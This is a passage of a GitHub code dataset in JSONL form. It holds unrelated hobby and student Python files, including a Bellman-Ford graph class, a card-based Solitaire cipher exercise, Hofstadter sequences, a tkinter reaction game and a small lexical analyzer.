answer[-1]*(-1)\n \n# return sum(answer)\n\n# '''\nimport re\ndef solution(dartResult):\n bonus = {'S' : 1, 'D' : 2, 'T' : 3}\n option = {'' : 1, '*' : 2, '#' : -1}\n p = re.compile('(\\d+)([SDT])([*#]?)')\n dart = p.findall(dartResult)\n print(p)\n print(dart)\n for i in range(len(dart)):\n if dart[i][2] == '*' and i > 0:\n dart[i-1] *= 2\n dart[i] = int(dart[i][0]) ** bonus[dart[i][1]] * option[dart[i][2]]\n\n answer = sum(dart)\n return answer\n# '''","repo_name":"Jiwonii97/Algorithm_Study","sub_path":"Level 1/solution28.py","file_name":"solution28.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31625745201","text":"\n# series: (x, y) list list\n# First level delimits subplots, second delimits series within them.\n\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n#matplotlib.rcParams['font.size'] = 8\n\nseries_colours = ['k', 'red']\nseries_markers = [' ', ' ']\nseries_names = [\"Stages\", \"Cores\"]\n\ndef draw_stackplot(plots, xlabel, ylabel, save_file = None):\n\n plotheight = 2 if len(plots) == 1 else len(plots)\n\n fig = plt.figure(figsize = (8, 4))\n\n if len(plots) > 1:\n\n masterax = fig.add_subplot(111, axisbg='none')\n masterax.spines['top'].set_color('none')\n masterax.spines['bottom'].set_color('none')\n masterax.spines['left'].set_color('none')\n masterax.spines['right'].set_color('none')\n masterax.tick_params(labelcolor='none', top='off', bottom='off', left='off', right='off')\n masterax.set_xticks([])\n masterax.set_yticks([])\n\n for i, (title, plot) in enumerate(plots):\n\n arg = int(\"%s%s%s\" % (len(plots), 1, i+1))\n ax = fig.add_subplot(arg)\n\n if len(plots) == 1:\n masterax = ax\n\n ax.locator_params(axis='y', nbins=4)\n\n for ((xs, ys), colour, marker, label) in zip(plot, series_colours, series_markers, series_names):\n ax.plot(xs, ys, color=colour, marker=marker, label=label)\n\n if i != len(plots) - 1:\n ax.set_xticklabels([])\n else:\n ax.set_xlabel(xlabel)\n lims = ax.get_ylim()\n span = lims[1] - lims[0]\n addspan = span * 0.1\n newbottom = lims[0] - addspan if lims[0] != 0 else lims[0]\n newtop = lims[1] + addspan\n\n ax.set_ylim(newbottom, newtop)\n\n ax.set_title(title)\n\n ax.legend(loc = \"upper right\")\n \n masterax.set_ylabel(ylabel, labelpad = 25)\n\n fig.tight_layout()\n\n if save_file is None:\n plt.show()\n else:\n plt.savefig(save_file)\n","repo_name":"smowton/scan","sub_path":"ccgrid_graphing/stackplot.py","file_name":"stackplot.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23490846333","text":"class Vertex:\n name = ''\n def __init__(self, n):\n self.name = n\n\nclass Edge:\n def __init__(self, s = None, e = None, w = 0):\n self.weight = w\n self.start = s\n self.end = e\n def __repr__(self):\n return str(self.start) + str(self.end)\n\nclass DenseGraph:\n\n def __init__(self):\n self.VertexCount = 0\n self.NameDict = {}\n self.EdgeCount = 0\n self.EdgeList = []\n self.EdgeTable = []\n self.VertexList = []\n\n def AddEdge(self, u, v, weight):\n if self.NameDict.get(u) == None:\n self.AddVertex(u)\n if self.NameDict.get(v) == None:\n self.AddVertex(v)\n self.EdgeTable[self.GetVertexValue(u)][self.GetVertexValue(v)] = weight\n self.EdgeCount += 1\n self.EdgeList.append(Edge(u, v, weight))\n\n def AddVertex(self, u):\n self.NameDict[u] = self.VertexCount\n self.VertexCount += 1\n self.EdgeTable.append([None for i in range(self.VertexCount)])\n for i in range(self.VertexCount - 1):\n self.EdgeTable[i].append(None)\n self.VertexList.append(u)\n\n def GetVertexValue(self, u):\n #print(u)\n return self.NameDict[u]\n\n################################################# \n\n def RemoveEdge(self, u, v):\n self.EdgeTable[self.GetVertexValue(u)][self.GetVertexValue(v)] = None\n self.EdgeCount += -1\n\n def RemoveVertex(self, u):\n del self.NameDict[u]\n index = self.GetVertexValue(u)\n for i in range(self.VertexCount):\n self.EdgeTable[i].pop(index)\n self.EdgeTable.pop(index)\n self.VertexCount += -1\n\n def IsAdjacent(self, u, v):\n if self.EdgeTable[self.GetVertexValue(u)][self.GetVertexValue(v)] or EdgeTable[self.GetVertexValue(v)][self.GetVertexValue(u)]:\n return True\n return False\n\n def GetEdgeWeight(self, u, v):\n return self.EdgeTable[self.GetVertexValue(u)][self.GetVertexValue(v)]\n\n def SetEdgeWeight(self, u, v, weight):\n if self.EdgeTable[self.GetVertexValue(u)][self.GetVertexValue(v)]:\n self.EdgeTable[self.GetVertexValue(u)][self.GetVertexValue(v)] = weight\n\n def SetVertexValue(self, u, value):\n self.NameDict[u] = value\n\ndef BellmanFord():\n LineCount = int(input())\n G = DenseGraph()\n for i in range(LineCount):\n Line = input().split()\n u = Line[0]\n v = Line[1]\n weight = int(Line[2]) \n G.AddEdge(u, v, weight)\n s = input()\n t = input()\n \n dist = [1_000_000] * G.VertexCount\n prev = [None] * G.VertexCount\n\n dist[G.GetVertexValue(s)] = 0\n\n for j in range(G.VertexCount):\n for i in G.EdgeList: \n tmp = dist[G.GetVertexValue(i.start)] + i.weight\n if tmp < dist[G.GetVertexValue(i.end)]:\n dist[G.GetVertexValue(i.end)] = tmp\n prev[G.GetVertexValue(i.end)] = i.start\n\n result = []\n while t != s:\n #print('once', t)\n result.append(t)\n t = prev[G.GetVertexValue(t)]\n result.append(s)\n result.reverse()\n return result\n\nprint(BellmanFord())\n\n\n\n\n","repo_name":"StevenWongChess/VE477","sub_path":"Lab/lab5/BellmanFord.py","file_name":"BellmanFord.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"20941006157","text":"\"\"\" CIFRADO CON SOLITARIO: Para la resolución de este ejercicio, utilizo la opción descrita en la web,\nen la que se utiliza una clave secreta en el último de los pasos, con el fin de poder utilizar el algoritmo \nen diferentes pares emisor-receptor utilizando diferente encriptado para cada uno, con el cambio de la clave.\n Defino en la parte inicial los datos necesarios, que serán la clave, la relación letra-número para la conversión, \n y la relación carta-número para generar la ristra.\nNo se necesita ningún módulo para su ejecución fuera de los módulos standard de Python.\"\"\"\n\n# La clave para el paso 4 del cifrado/descifrado\nclave = \"EZEZDUTUTZIKOINORINIREBARNEANAGINTZENZUINORZARATAALAEREMENPERATZENDIDAZULASTOUSTELAIZANGONAIZBAKARRIKDAKITALANAIZELA\"\n\n# Diccionario para convertir letras en números y viceversa\nletras = {\" \": 0,\"A\":1,\"B\":2,\"C\":3,\"D\":4,\"E\":5,\"F\":6,\"G\":7,\"H\":8,\"I\":9,\"J\":10,\"K\":11,\"L\":12,\"M\":13,\"N\":14,\"O\":15,\"P\":16,\"Q\":17,\"R\":18,\"S\":19,\"T\":20,\"U\":21,\"V\":22,\n\"W\":23,\"X\":24,\"Y\":25,\"Z\":26}\n\n# Cartas de la baraja con su valor para generar la ristra de valor con solitario\nsolitario = {\"T1\":1,\"T2\":2,\"T3\":3,\"T4\":4,\"T5\":5,\"T6\":6,\"T7\":7,\"T8\":8,\"T9\":9,\"T10\":10,\"TJ\":11,\"TQ\":12,\n\"TK\":13,\"D1\":14,\"D2\":15,\"D3\":16,\"D4\":17,\"D5\":18,\"D6\":19,\"D7\":20,\"D8\":21,\"D9\":22,\"D10\":23,\"DJ\":24,\"DQ\":25,\n\"DK\":26,\"C1\":27,\"C2\":28,\"C3\":29,\"C4\":30,\"C5\":31,\"C6\":32,\"C7\":33,\"C8\":34,\"C9\":35,\"C10\":36,\"CJ\":37,\"CQ\":38,\n\"CK\":39,\"P1\":40,\"P2\":41,\"P3\":42,\"P4\":43,\"P5\":44,\"P6\":45,\"P7\":46,\"P8\":47,\"P9\":48,\"P10\":49,\"PJ\":50,\"PQ\":51,\n\"PK\":52,\"jokA\":53,\"jokB\":53} \n\n# devolverLetra convierte la lista de numeros en letras, la ultima conversión en cifrado/descifrado\ndef devolverLetra(numero):\n for i, num in letras.items():\n if num == numero:\n num = letras[i]\n return i\n\n\"\"\" Creo la funcion crearRistra para poder utilizarla tanto en el cifrado como en el descifrado. Dentro de ella\nse describen cada uno de los pasos necesarios para crear el listado de números de la ristra del solitario\"\"\"\ndef crearRistra(solitario, clave, frase_input):\n # Creo una lista con la clave, otra con las cartas y defino la lista que contendrá el resultado\n clave_list = list(clave)\n solitario_list = list(solitario.keys())\n resultado = list()\n for i in range (0, len(frase_input)): # Para cada letra de la frase introducida\n paso_1 = list()\n indice = solitario_list.index(\"jokA\") #Se busca la posición del joker A\n # Se pone detras de la siguiente carta, y si es ultima se pone la primera de la lista\n if indice == 53:\n paso_1 = [solitario_list[0]] + [solitario_list[indice]] + solitario_list[1:-1]\n else:\n paso_1 = solitario_list[:indice] + [solitario_list[indice+1],solitario_list[indice]] + solitario_list[indice+2:]\n\n paso_2 = list()\n indice_2 = paso_1.index(\"jokB\") #Se busca la posición del joker B \n #Se situará dos posiciones detrás\n if indice_2 == 52: # Si es la anteultima letra, detrás de la primera\n paso_2 = [paso_1[0]] + [paso_1[indice_2]] + paso_1[1:52] + [paso_1[-1]]\n elif indice_2 == 53: # Si es la ultima, detrás de la segunda de la lista\n paso_2 = paso_1[:2] + [paso_1[indice_2]]+ paso_1[2:-1]\n else: #Si no, dos posiciones detrás\n paso_2 = paso_1[:indice_2] + paso_1[indice_2+1:indice_2+3]+ [paso_1[indice_2]] + paso_1[indice_2+3:]\n paso_3 = list()\n # La cartas delante de el primer joker se intercambian con las de detrás del segundo joker\n indice_A = paso_2.index(\"jokA\") #Posición de joker A en lista\n indice_B = paso_2.index(\"jokB\") #Posición de joker B en lista\n\n if indice_A < indice_B: # Si joker A está antes de joker B\n paso_3 = paso_2[indice_B+1:] + paso_2[indice_A:indice_B+1] + paso_2[:indice_A]\n else: # Si joker B está antes de joker A\n paso_3 = paso_2[indice_A+1:] + paso_2[indice_B:indice_A+1] + paso_2[:indice_B]\n paso_4 = list()\n \"\"\"Corte, que corresponde al valor de la ultima carta, será el indice de corte de la baraja\"\"\"\n corte = paso_3[-1] \n # Si la última carta corresponde a un comodín, no se hace nada\n if corte == \"jokA\" or corte == \"jokB\": \n paso_4 = paso_3\n else: # Se situan las posteriores al corte, las anteriores al corte dejando la ultima en su posicion\n valor_corte = solitario[corte]\n paso_4 = paso_3[valor_corte:-1] + paso_3[:valor_corte] + [paso_3[-1]]\n cuenta = clave_list[i] #Extraemos la letra de la clave que corresponda\n valor_cuenta = letras[cuenta] #Buscamos su valor en número en el diccionario letras\n \n cuenta_final = paso_4[valor_cuenta-1] #Obtenemos la carta que corresponde a ese índice\n res = solitario[cuenta_final] #Obtenemos el valor que corresponde a la carta\n if res > 26: #Si el valor es mayor de 26, le restamos 26\n res = res - 26\n solitario_list = paso_4 # Establecemos la posición de las cartas como inicial para la sig letra\n resultado.append(res) #Lo incorporamos a la lista de resultado\n return resultado\n\"\"\" Definimos el cifrado de la frase\"\"\" \ndef cifrarSolitario(frase):\n frase_input = list(frase) #Lista de las letras de la frase\n conversion_input = list() #Lista con los numeros correspondientes a la frase\n for i in frase_input: # Convertimos letras de la frase en números\n valor = letras[i]\n conversion_input.append(valor)\n resultado = crearRistra(solitario, clave, frase_input) # Creamos la ristra del solitario\n resultado_final = list() #Resultado de la suma de la frase y ristra de solitario\n\n for i in range(len(conversion_input)):\n if conversion_input[i] == 0: # Si el valor es un 0, correponde a un espacio, por lo que no sumamos ristra\n resultado_final.append(0)\n elif (conversion_input[i] + resultado[i]) > 26: # Si la suma es mayor a 26, restamos 26 a la suma\n resultado_final.append ((conversion_input[i] + resultado[i])-26)\n else:\n resultado_final.append ((conversion_input[i] + resultado[i])) \n\n resultado_solitario = list()\n \n for i in resultado_final: # Para cada valor obtenido de la suma\n letra = devolverLetra(i) # Devolvemos letra\n resultado_solitario.append(letra) #Lo incluimos en el resultado\n return resultado_solitario\n\n\"\"\"En descifrarSolitario, definimos como realizar la función inversa al cifrado\"\"\"\ndef descifrarSolitario (cifrado, clave, solitario):\n cifrado_list = list() #Lista obtenida del resultado de cifrarSolitario\n for i in cifrado: #Pasamos letras del cifrado a numeros\n numero = letras[i]\n cifrado_list.append(numero)\n \n resultado = list()\n resultado = crearRistra(solitario, clave, cifrado_list) #Creamos ristra\n resultado_final = list()\n for i in range(len(resultado)):\n if cifrado_list[i] == 0: #Si el numero es cero, corresponde a espacio, dejamos en 0\n valor = 0\n resultado_final.append(valor)\n elif cifrado_list[i] <= resultado[i]: # Si el valor del cifrado es menor que el de la ristra, suma 26\n valor = (cifrado_list[i] + 26) - resultado[i]\n resultado_final.append(valor)\n else:\n valor = cifrado_list[i] - resultado[i] #Si no, se realiza la resta\n resultado_final.append(valor)\n \n resultado_descifrado = list()\n for i in resultado_final: #Se traduce el resultado a letras\n letra = devolverLetra(i)\n resultado_descifrado.append(letra)\n return resultado_descifrado\n\n\"\"\"Se ejecuta el programa: Para ello se solicita la frase a encriptar y se ejecuta la función de encriptado.\nSe devuelve el texto encriptado. Finalmente se pregunta si se quiere desencriptar y se ejecuta en caso de \nrespuesta afirmativa.\"\"\"\n\nfrase = input(\"Introduce una frase:\").upper()\ncifrado = cifrarSolitario(frase)\nprint (\"\".join(cifrado))\n\nrespuesta = input(\"¿Deseas descifrarlo? (S/N) \"). upper()\nif respuesta == \"S\":\n descifrado = descifrarSolitario(cifrado, clave, solitario)\n print(\"\".join(descifrado))\nelse:\n print(\"OK, gracias!!\")","repo_name":"zetatxo/the_egg_1eranio","sub_path":"tarea_23/Tarea23optimizado.py","file_name":"Tarea23optimizado.py","file_ext":"py","file_size_in_byte":8203,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21489817267","text":"from django.conf.urls import include, url\nfrom user.views import *\n\nurlpatterns = [\n url(r'^accounts/login/$',LoginPage,name='log_in'),\n url(r'^accounts/logout/$',LogOut,name='log_out'),\n url(r'^fourms/$',FourmPage,name='fourm_page'),\n url(r'^snippets/$',SnippetPage,name='snippet_page'),\n url(r'^schedule/$',SchedulePage,name='schedule_page'),\n]\n","repo_name":"hemantjadon/asn","sub_path":"asn/user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28579718460","text":"quitter = False\noui = \"o\"\nnon = \"n\"\nreponse = \"\"\n#ci dessus on declare nos variable\nflag = False\n#on cree un temoin\n\nwhile quitter == False:\n\t#tant que quitter est egal a faux\n\tprint(\"Bienvenue chez le perroquet du capitaine\")\n\tperroquet = raw_input(\"entrez une phrase ou un mot: \")\n\tprint(str(perroquet))\n\tflag = True\n\n\twhile flag == True:\n\t\t#tant que quitter = vrai\n\t\treponse = raw_input(\"Voulez vous quitter o/n ?\")\n\n\t\tif oui == reponse.lower():\n\t\t\t#si la reponse est oui\n\t\t\tquitter = True\n\t\t\tflag = False\n\t\telif non == reponse.lower():\n\t\t\t#si la reponse est non\n\t\t\tprint(\"non\")\n\t\t\tflag = False\n\t\telse:\n\t\t\t#si la reponse est autre chose\n\t\t\tprint(\"Hicham n'a pas compris ce que toi vouloir me dire\")\n","repo_name":"Jogomez13/algorithme_exos","sub_path":"exo6/exo6.py","file_name":"exo6.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74956127574","text":"from ast import Break\nfrom tkinter import *\nfrom tkinter.messagebox import askyesno\nimport random\nimport time\nimport threading\nfrom turtle import width\n\nwindow = Tk()\nwindow.title('FPS Trainer V1')\nwindow.geometry(\"450x300\")\nwindow.resizable(width=False, height=False)\nwindow.configure(background=\"light grey\")\npoints=0\n\ntopBar = Frame(window, height = 35,width = 450,bg = 'black')\ntopBar.pack()\ntopBar.pack_propagate(0)\n\nwindowFrame = Frame(window, height=265, width= 450, bg='light grey')\nwindowFrame.pack()\nwindowFrame.pack_propagate(0)\n\ndef main():\n global points\n \n def pointsFunction():\n pointsLabel['text'] = f\"{points} Points\"\n \n\n def gamesFunction(event):\n global gamesBtnDestroy\n global gamesBtn\n pointsFunction() \n games = ['Press: w', 'Press: a','Press: s', 'Press: d', 'Double click', 'Triple click', 'Single click', 'Press space']\n random.shuffle(games)\n gamesBtn = Label(windowFrame, text=f\"{games[0]}\", font=(\"Arial\", 20))\n \n def gamesBtnDestroy():\n gamesBtn.destroy() \n # gamesFunction(event) \n \n def keyboardFunction(event):\n global points\n window.unbind(event.keysym)\n window.unbind('')\n gamesBtn.destroy()\n gamesFunction(event)\n points+=1\n pointsFunction() \n\n\n def mouseFunction(event):\n global points\n gamesBtn.unbind(event.keysym)\n window.unbind(event.keysym)\n gamesBtn.destroy()\n gamesFunction(event)\n points+=2 \n pointsFunction() \n \n def buttonBind():\n if games[0] == 'Press: w':\n window.bind('w', keyboardFunction)\n if games[0] == 'Press: a':\n window.bind('a', keyboardFunction) \n if games[0] == 'Press: s': \n window.bind('s', keyboardFunction) \n if games[0] == 'Press: d': \n window.bind('d', keyboardFunction) \n if games[0] == 'Press space': \n window.bind('', keyboardFunction) \n if games[0] == 'Double click': \n gamesBtn.bind('', mouseFunction)\n if games[0] == 'Triple click': \n gamesBtn.bind('', mouseFunction)\n if games[0] == 'Single click': \n gamesBtn.bind(\"\", mouseFunction) \n else:\n pass\n xValue = random.randint(0, 292)\n yValue = random.randint(0, 227) \n # minimum y value is 0\n # maximum y value is 227\n # minimum x value is 0\n # maximum x value is 292\n gamesBtn.place(x=xValue, y=yValue)\n \n buttonBind() \n \n def countDown():\n global points\n global startBtn\n global gamesBtn\n lengthSecondsVar = int(lengthSeconds.get())\n startBtn.destroy()\n lengthLabel.destroy()\n lengthSeconds.destroy()\n count = lengthSecondsVar\n while count > -1:\n timeLabel['text'] = f'Time Remaining: {count}'\n count-=1\n time.sleep(1)\n if count == -1:\n gamesBtn.destroy() \n pointsLabel['text'] = f\"0 Points\"\n endOfGame = askyesno(title=\"FPS Trainer V1\", message=f\"Congratulations you have {points} points, do you want to play again?\")\n if endOfGame: \n points-=points\n pointsLabel['text'] = f\"0 Points\"\n timeLabel['text'] = f'Time Remaining: ' \n gamesBtn.destroy()\n timeLabel.destroy()\n pointsLabel.destroy()\n main()\n else:\n window.destroy()\n \n\n\n def startCd(event):\n cdTh = threading.Thread(target=countDown)\n cdTh.start() \n gamesFunction(event)\n\n timeLabel = Label(topBar, text=\"Time Remaining:\".format(''), fg=\"white\", bg=\"black\", font=(\"Arial\", 14))\n timeLabel.pack(side='left')\n\n pointsLabel = Label(topBar, text=\"0 Points\".format(''), fg=\"white\", bg=\"black\", font=(\"Arial\", 14))\n pointsLabel.pack(side='right')\n\n\n def startButton():\n global startBtn\n startBtn = Button(windowFrame, text=\"Press here to start\", highlightthickness = 0, bd = 0, font=(\"Arial\", 15))\n startBtn.bind('', startCd)\n startBtn.place(relx=0.5, rely=0.5, anchor=CENTER)\n \n lengthLabel = Label(windowFrame, text=\"Enter timer length (seconds)\", font=(\"Arial\", 13), bg='light grey')\n lengthLabel.place(relx=0.27, rely=0.27, anchor=W)\n \n lengthSeconds = Entry(windowFrame, width=10, font=('Arial Italic', 12), justify=CENTER, highlightthickness = 0, bd = 0)\n lengthSeconds.insert(0, \"20\")\n lengthSeconds.pack(side = TOP, pady=87, padx=10)\n return lengthLabel, lengthSeconds\n \n lengthLabel, lengthSeconds = startButton()\n \nmain() \nwindow.mainloop()\n","repo_name":"AmarNagim/gui-formulieren","sub_path":"simple fps traininer v2.py","file_name":"simple fps traininer v2.py","file_ext":"py","file_size_in_byte":5213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12779513877","text":"import collections\nimport re\n\ndef lexicalAnalyzer(myString):\n myString = myString.lower() # case-insensitive -> turns input into lowercase\n\n keywords = {'if', 'then', 'end if', 'else', 'for', 'read', 'print', 'while', 'end while', 'and', 'or'}\n token_specification = [\n ('TYPE', r'int|float|boolean'),\n ('NUMBER', r'\\d+(\\.\\d*)?'), # Integer or decimal number\n ('ASSIGN', r'='), # Assignment operator\n ('END', r';|end (if|while);'), # Statement terminator\n ('ID', r'[A-Za-z0-9]+'), # Identifiers\n ('OP', r'[+\\-*/]'), # Arithmetic operators\n ('NEWLINE', r'\\n'), # Line endings\n ('SKIP', r'[ \\t]+'), # Skip over spaces and tabs\n ('SYNTAX', r'[\\(\\){}><:]'), # syntax\n ('MISMATCH',r'.'), # Any other character\n\n ]\n simple_table = []\n nextToken = \"\"\n tok_regex = '|'.join('(?P<%s>%s)' % pair for pair in token_specification)\n for match in re.finditer(tok_regex, myString):\n kind = match.lastgroup\n value = match.group(kind)\n if kind == 'NEWLINE':\n pass\n elif kind == 'SKIP':\n pass\n elif kind == 'MISMATCH':\n raise RuntimeError(f'{value} unexpected!!')\n else:\n if kind == 'ID':\n if value in keywords:\n kind = value\n else: # add user-defined token into symbol table\n simple_table.append(value)\n\n nextToken = kind\n print(f'Token: {value} \\t\\t Token Type: {kind} \\t\\t nextToken: {nextToken}')\n\n print(f' user-defined tokens: {simple_table}')\n\n# lexicalAnalyzer(\"total = Subtotal1 * 12;\")\n# lexicalAnalyzer(\"print (x+y)\")\n\n# statements = '''\n# total = subtotal1 * 12;\n# '''\n\nstatements = '''\n if 5>1:\n {\n if (4>3) and (2 <5) :\n {\n print 1;\n print 2;\n }\n else:\n {\n print (3+1)\n }\n end if;\n }\n end if;\n'''\n\n\nlexicalAnalyzer(statements)\n\n\n# statements = '''\n# IF quantity THEN\n# total = total + price * quantity;\n# tax = price * 0.05;\n# ENDIF;\n# '''\n# lexicalAnalyzer(statements)\n","repo_name":"Yurockkk/C--","sub_path":"lexicalAnalyzer.py","file_name":"lexicalAnalyzer.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41493329627","text":"from abc import ABCMeta, abstractmethod\n#\n#from integerSequence import IntegerSequenceBase as Base\nfrom integerSequence import inRange as inRange\nfrom integerSequence import isNegativeThrow as isNegThrow\n\n##@class HofstadterBase hofstadter.py\n#@brief abstract base class for Hofstadter sequences, equations do not allow for iterative approach\n#\nclass HofstadterBase(metaclass=ABCMeta):\n \"\"\"abstract base class for Hofstadter Sequences\"\"\"\n #static interface to be overridden by derived classes\n def __new__(cls, *args, **kwargs):\n raise NotImplementedError('Abstract Base Class for static interface can not be instantiated')\n \n def __init__(self):\n raise NotImplementedError('Abstract Base Class for static interface can not be instantiated')\n #\n @classmethod\n @abstractmethod\n def element(cls, N, unbound = False):\n \"\"\"returns a discrete value of N\"\"\"\n raise NotImplementedError('function not implemented')\n \n # @classmethod \n # def out(cls, arg):\n # print(\"executing class_foo({c},{a})\".format(c=cls,a=arg))\n @classmethod\n def _generator(cls, N):\n \n #try:\n #convert any not integer type to an integer\n #N = N if type N is IntType else int(N)\n isNegThrow(N)\n \n for i in range(N):\n yield cls.element(i)\n \n #except as e:\n #print(e.error)\n \n @classmethod\n def _list(cls, N):\n #assert type(N) is IntType\n #print(\"_gen of class:{c}, N:{var}\".format(c=cls, var=N))\n #print('in gen')\n \n return [f for f in cls._generator(N)]\n \n @classmethod\n def _tuple(cls, N):\n return tuple(f for f in cls._generator(N))\n #\n #public methods\n #\n #@timeCall\n @classmethod\n def series(cls, N):\n return cls._tuple(N)\n\n##@class Conway\n#series [A004001](http://oeis.org/A004001)\n#\nclass Conway(HofstadterBase):\n @classmethod\n def element(cls, N, unbound = False):\n #if N <= 0:\n #raise E(\"illegal element, series does not start will an element of N = 0\")\n #inRange(N, , unbound)\n \n if N == 1 or N == 2:\n return 1\n \n next = cls.element(N - 1)\n\n return cls.element(next) + cls.element(N - next)\n \n @classmethod\n def _generator(cls, N):\n \n #try:\n #convert any not integer type to an integer\n #N = N if type N is IntType else int(N)\n isNegThrow(N)\n \n for i in range(1, N):\n yield cls.element(i)\n \n #class A004074(HofstadterBase):\n #@classmethod\n #def element(cls, N, unbound = False):\n #return 2 * Conway.element(N) - N\n \n##@class Chaotic\n#series [A055748](http://oeis.org/A055748)\n#\nclass Chaotic(HofstadterBase):\n @classmethod\n def element(cls, N, unbound = False): \n inRange(N, 251, unbound)\n \n if N == 1 or N == 2:\n return 1\n\n next = cls.element(N - 1)\n n2Val = cls.element(N - 2)\n \n return cls.element(next) + cls.element(N - n2Val - 1)\n \n @classmethod\n def _generator(cls, N):\n \n #try:\n #convert any not integer type to an integer\n #N = N if type N is IntType else int(N)\n isNegThrow(N)\n \n for i in range(1, N):\n yield cls.element(i)\n\n##@class Q\n#series [A005185](https://oeis.org/A005185)\n#\nclass Q(HofstadterBase):\n @classmethod\n def element(cls, N, unbound = False): \n #inRange(N, 251, unbound)\n \n if N == 1 or N == 2:\n return 1\n\n next = cls.element(N - cls.element(N - 1))\n n2Val = cls.element(N - cls.element(N - 2))\n \n return next + n2Val\n \n @classmethod\n def _generator(cls, N):\n \n #try:\n #convert any not integer type to an integer\n #N = N if type N is IntType else int(N)\n isNegThrow(N)\n \n for i in range(1, N):\n yield cls.element(i)\n \n ##\n #series [A278066](https://oeis.org/A278066)\n #class A278066 \n \n##@class G\n#series [A005206](https://oeis.org/A005206)\n#\nclass G(HofstadterBase):\n @classmethod\n def element(cls, N, unbound = False):\n #static_assert(N <= 249, \"\");\n inRange(N, 249, unbound) #recursive type context too complex in C, could potentially blow stack\n \n if N == 0:\n return 0\n\n val = cls.element(N - 1)\n\n return N - cls.element(val)\n\n##@class H\n#series [A005206](https://oeis.org/A005206)\n#\nclass H(HofstadterBase):\n @classmethod\n def element(cls, N, unbound = False):\n #f(N) = N - h(h(h(N-1)))\n inRange(N, 166, unbound)\n \n if N == 0:\n return 0\n\n val = cls.element(N - 1)\n h0 = cls.element(val)\n\n return N - cls.element(h0)\n\n##@class Male\n#series [A005379](https://oeis.org/A005379)\n#\nclass Male(HofstadterBase):\n @classmethod\n def element(cls, N, unbound = False):\n inRange(N, 249, unbound)\n \n if N == 0:\n return 0\n\n m = cls.element(N - 1)\n\n return N - Female.element(m)\n\n##@class Female\n#series [A005378](https://oeis.org/A005378)\n#\nclass Female(HofstadterBase):\n @classmethod\n def element(cls, N, unbound = False):\n inRange(N, 249, unbound) #recursive type context too complex for C(++)\n \n if N == 0:\n return 1\n\n f = cls.element(N - 1)\n\n return N - Male.element(f)\n \n#\n\ndef HofstadterTest(N = 20):\n def p(cls):\n print('****')\n print(cls.__name__ + ' series:')\n print(cls.series(N))\n \n T = [\n Chaotic, #++\n Conway, #++\n Q, #++\n G, #++\n H, #++\n Male, #++\n Female #++\n ]\n print('****')\n print('Hofstadter Series Test')\n print('****')\n print('')\n # print('chaotic')\n # for i in range(1, 20):\n # print(Chaotic.element(i))\n \n # print('conway')\n # for i in range(1, 20):\n # print(Conway.element(i))\n \n for t in T:\n p(t)\n \n","repo_name":"vigilance91/integerSequences-py","sub_path":"integerSequence/hofstadter.py","file_name":"hofstadter.py","file_ext":"py","file_size_in_byte":6205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"32179788358","text":"\"\"\"This module provides the BaseLayout class\n\n@author: Carl McGraw\n@contact: cjmcgraw(- at -)u.washington.edu\n@version: 1.x\n\"\"\"\nfrom peonordersystem.src.interface.dialogs.DialogBuilder import (PACK_ARGS,\n generate_hbox)\nfrom .abc.AbstractLayout import AbstractLayout\n\n\nclass BaseLayout(AbstractLayout):\n \"\"\"Provides a class that wraps components\n into a main layout.\n \"\"\"\n\n def __init__(self):\n \"\"\"Initializes the layout\"\"\"\n self._main_widget = generate_hbox()\n self._components = []\n\n @property\n def main_container(self):\n \"\"\"Gets the main container\n\n @return: Gtk.Container\n \"\"\"\n return self._main_widget\n\n def add_component(self, component):\n \"\"\"Adds the given component to the\n layout.\n\n @param component: Gtk.Widget to be\n added.\n \"\"\"\n component_widget = component.main_component\n self._components.append(component)\n self._main_widget.pack_start(component_widget, *PACK_ARGS)\n\n def remove_component(self, component):\n \"\"\"Removes the given component from\n the layout.\n\n @param component: Gtk.Widget to be\n removed.\n\n @return: bool representing if the\n removal was successful or not\n \"\"\"\n try:\n component_widget = component.main_component\n self._components.remove(component)\n self._main_widget.remove(component_widget)\n return True\n except ValueError:\n return False\n\n def remove_all_components(self):\n \"\"\"Removes all currently stored\n components from the layout.\n \"\"\"\n for component in self._components:\n self._main_widget.remove(component)\n\n self._components = []","repo_name":"ti22restaurant/PeonOrderSystem","sub_path":"peonordersystem/src/interface/dialogs/display/views/layout/BaseLayout.py","file_name":"BaseLayout.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6108321806","text":"import os\r\nimport time\r\nimport random\r\nimport numpy as np\r\nimport torch\r\nfrom torch import nn\r\nfrom torch import optim\r\nfrom torch.nn import functional as F \r\nfrom torch import autograd\r\nfrom torch.autograd import Variable\r\nfrom sklearn.metrics import roc_curve, auc\r\n\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\r\ncuda = torch.cuda.is_available()\r\n\r\n\r\nfrom mri_pet_dataset_test import TestDataset\r\nfrom pt_dcn_models import *\r\n\r\n\r\n# initial for recurrence\r\nseed = 23\r\nrandom.seed(seed)\r\nnp.random.seed(seed)\r\ntorch.manual_seed(seed)\r\ntorch.cuda.manual_seed(seed)\r\ntorch.cuda.manual_seed_all(seed)\r\ntorch.backends.cudnn.benchmark = False \r\ntorch.backends.cudnn.enabled = 